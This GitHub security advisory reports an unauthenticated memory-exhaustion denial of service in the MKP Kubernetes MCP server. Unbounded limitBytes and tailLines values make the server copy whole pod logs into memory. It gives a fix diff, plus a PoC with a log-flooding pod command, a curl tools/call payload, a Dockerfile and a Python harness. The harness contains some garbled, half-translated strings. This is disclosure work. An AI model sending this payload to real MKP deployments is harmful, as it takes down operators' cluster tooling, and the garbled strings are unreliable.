VDB
KO
HIGH 7.5

GHSA-qw5r-ppcg-f8rj

MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion

Details

## Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion

### Summary

The MKP (Model Context Protocol for Kubernetes) server exposes a `get_resource` MCP tool that proxies Kubernetes pod log requests. User-supplied `limitBytes` and `tailLines` parameters are parsed as unbounded `int64` values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory `bytes.Buffer` using `io.Copy` without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted `tools/call` request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with `limitBytes=134217728`.

### Details

The vulnerability exists in `pkg/k8s/subresource.go` in the `buildPodLogOpts()` and `defaultGetPodLogs()` functions.

**Source — unbounded parameter parsing (`pkg/k8s/subresource.go:171–181`):**

```go // pkg/k8s/subresource.go defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil ... if limitBytes, ok := parameters["limitBytes"]; ok { if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil { podLogOpts.LimitBytes = &b // no upper-bound check } } if tailLines, ok := parameters["tailLines"]; ok { if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil { podLogOpts.TailLines = &lines // no upper-bound check } } ```

When the `parameters` map is non-nil (always true for attacker-supplied input), `buildPodLogOpts()` is called at `pkg/k8s/subresource.go:94–96` and overwrites the 32 KB default entirely. The attacker can therefore supply any positive `int64` value (up to `2147483647` or `9223372036854775807`) as `limitBytes`.

**Sink — unbounded in-memory copy (`pkg/k8s/subresource.go:114–115`):**

```go buf := new(bytes.Buffer) _, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAM ```

The stream from Kubernetes is read without limit into a heap-allocated `bytes.Buffer`. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).

**Attack path (source → sink):**

| Step | Location | Description | |------|----------|-------------| | 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default | | 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) | | 3 | `pkg/mcp/get_resource.go:28–38` | Attacker-controlled `parameters` map parsed from `CallToolRequest` | | 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called | | 5 | `pkg/k8s/subresource.go:32–33` | `resource=pods` + `subresource=logs` routes into `getPodLogs` | | 6 | `pkg/k8s/subresource.go:171–181` | `limitBytes` / `tailLines` parsed without upper bound (source) | | 7 | `pkg/k8s/subresource.go:114–115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) |

The rate limiter (`pkg/ratelimit/config.go:16–17`) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.

**Suggested remediation:**

```diff +const ( + maxPodLogTailLines int64 = 1000 + maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap +) + buf := new(bytes.Buffer) -_, err = io.Copy(buf, podLogs) +limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1} +_, err = io.Copy(buf, limitedLogs) +if limitedLogs.N == 0 { + return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes) +}

if limitBytes, ok := parameters["limitBytes"]; ok { if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil { + if b <= 0 || b > maxPodLogLimitBytes { + b = maxPodLogLimitBytes + } podLogOpts.LimitBytes = &b } } if tailLines, ok := parameters["tailLines"]; ok { if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil { + if lines <= 0 || lines > maxPodLogTailLines { + lines = maxPodLogTailLines + } podLogOpts.TailLines = &lines } } ```

### PoC

**Prerequisites**

- Docker (for self-contained reproduction) - A running Kubernetes cluster with a pod whose logs are large (for real-environment testing) - MKP server accessible on port 8080

---

**Option A — Self-contained Docker reproduction (Phase 2 method)**

This method uses a mock Kubernetes API that streams 128 MB of log data:

```bash # 1. Clone the repository and enter it git clone https://github.com/StacklokLabs/mkp.git cd mkp

# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/) docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .

# 3. Run the exploit container — output includes RSS measurements docker run --rm mkp-vuln-001 ```

Expected output (condensed):

``` Initial RSS: 26464 kB ( 25.8 MB) t+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress] t+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress] t+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress] t+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress] Peak RSS: 1207572 kB (1179.3 MB) Delta RSS: 1181108 kB (1153.4 MB) VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB) ```

---

**Option B — Real Kubernetes environment (manual)**

```bash # 1. Build and start MKP server (default transport: streamable-http on :8080) git clone https://github.com/StacklokLabs/mkp.git && cd mkp task build ./build/mkp-server --kubeconfig=/path/to/kubeconfig

# 2. Create a pod that generates large logs kubectl -n default run logbomb --image=busybox --restart=Never -- \ sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

# Wait ~30 seconds for logs to accumulate, then:

# 3. Send the exploit request curl -sS http://127.0.0.1:8080/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ --data '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "get_resource", "arguments": { "resource_type": "namespaced", "group": "", "version": "v1", "resource": "pods", "namespace": "default", "name": "logbomb", "subresource": "logs", "parameters": { "tailLines": "999999999", "limitBytes": "2147483647" } } } }' ```

**Expected observation:** MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.

### Impact

This is an **unauthenticated remote Denial of Service (DoS)** vulnerability affecting any deployment of MKP server accessible over the network.

**Who is impacted:**

- Any operator running `mkp-server` in its default configuration (no `--read-write` flag required; `get_resource` is registered by default on `:8080` without authentication). - Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., `kube-system` workloads in production clusters almost always satisfy this condition). - Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.

A single `tools/call` request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with `limitBytes=2147483647` (~2 GB) will exhaust memory before any subsequent requests are needed.

No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile # ── Stage 1: Build mkp-server ───────────────────────────────────────────────── FROM golang:1.25 AS builder

# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain # matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient. ENV GOTOOLCHAIN=local ENV CGO_ENABLED=0

WORKDIR /src

# Copy the source tree (build con = parent of vuln-001/) COPY repo/ .

RUN go build -o /mkp-server ./cmd/server

# ── Stage 2: Runtime ───────────────────────────────────────────────────────── FROM python:3.12-slim

RUN apt-get update && \ apt-get install -y --no-install-recommends procps curl && \ rm -rf /var/lib/apt/lists/*

COPY --from=builder /mkp-server /usr/local/bin/mkp-server

COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml COPY vuln-001/exploit.py /workspace/exploit.py COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh

RUN chmod +x /workspace/entrypoint.sh

CMD ["/workspace/entrypoint.sh"] ```

#### `poc.py`

```python #!/usr/bin/env python3 """ VULN-001 Dynamic Reproduction Orchestrator.

Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile . Run : docker run --rm mkp-vuln-001

Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single tools/call request with limitBytes=134217728 (128 MB), proving that defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer. """ import json import os import re import subprocess import sys from pathlib import Path

WORK_DIR = Path(__file__).parent.resolve() REPO_ROOT = WORK_DIR.parent IMAGE = "mkp-vuln-001" BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ." RUN_CMD = f"docker run --rm {IMAGE}"

# ───────────────────────────────────────────────────────────────────────────── def run_streaming(cmd: str, cwd=None) -> tuple[int, str]: """Run a shell command, stream its output, and return (rc, full_output).""" proc = subprocess.Popen( cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, cwd=cwd, ) lines = [] for line in proc.stdout: print(line, end='', flush=True) lines.append(line) proc.wait() return proc.returncode, ''.join(lines)

def save_result(result: dict): path = WORK_DIR / 'phase2_result.json' with open(path, 'w', encoding='utf-8') as f: json.dump(result, f, ensure_ascii=False, indent=2) print(f"\n[poc] Result saved → {path}")

def parse_evidence(output: str) -> dict: ev: dict = {} m = re.search(r'Initial RSS\s*:\s*(\d+)', output) if m: ev['initial_kb'] = int(m.group(1)) ev['initial_mb'] = ev['initial_kb'] / 1024

m = re.search(r'Peak RSS\s*:\s*(\d+)', output) if m: ev['peak_kb'] = int(m.group(1)) ev['peak_mb'] = ev['peak_kb'] / 1024

m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output) if m: ev['delta_kb'] = int(m.group(1)) ev['delta_mb'] = float(m.group(2)) elif 'peak_kb' in ev and 'initial_kb' in ev: ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb'] ev['delta_mb'] = ev['delta_kb'] / 1024

m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output) if m: ev['verdict_line'] = m.group(0)

return ev

def extract_evidence_block(output: str) -> str: """Return the EVIDENCE SUMMARY block, or the last 3000 chars.""" m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL) if m: return m.group(0)[:3000] return output[-3000:]

# ───────────────────────────────────────────────────────────────────────────── def main(): print("=" * 60) print("VULN-001: Unbounded Pod Log Read — Dynamic Reproduction") print("=" * 60)

os.chdir(REPO_ROOT)

# ── Docker build ────────────────────────────────────────────────────────── print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n") rc, build_output = run_streaming(BUILD_CMD) if rc != 0: reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}" save_result({ "passed": False, "verdict": "FAIL", "reason": reason, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": "python3 vuln-001/poc.py", "evidence": build_output[-2000:], "artifacts": ["Dockerfile", "poc.py"], }) print(f"\n[poc] FAIL: {reason}") return False

print("\n[poc] Build OK.")

# ── Docker run ──────────────────────────────────────────────────────────── print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n") rc, run_output = run_streaming(f"{RUN_CMD} 2>&1") print(f"\n[poc] Container exited (code={rc})")

ev = parse_evidence(run_output) delta_mb = ev.get('delta_mb', 0.0) print(f"[poc] Parsed evidence: {ev}")

# ── Verdict ─────────────────────────────────────────────────────────────── passed = delta_mb >= 50.0

if passed: verdict = "PASS" init_mb = ev.get('initial_mb', 0) peak_mb = ev.get('peak_mb', 0) reason = ( f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. " f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters " f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text " f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed." ) else: verdict = "INCOMPLETE" reason = ( f"RSS text {delta_mb:.1f} MB — 50 MB criteria text. " f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, " f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}" )

result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": "python3 vuln-001/poc.py", "evidence": extract_evidence_block(run_output), "artifacts": ["Dockerfile", "poc.py"], } save_result(result)

print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}") return passed

if __name__ == '__main__': ok = main() sys.exit(0 if ok else 1) ```

Are you affected?

Enter the version of the package you're using.

Affected packages

Go / github.com/StacklokLabs/mkp
Introduced in: 0 Fixed in: 0.4.1
Fix go get github.com/StacklokLabs/mkp@v0.4.1

References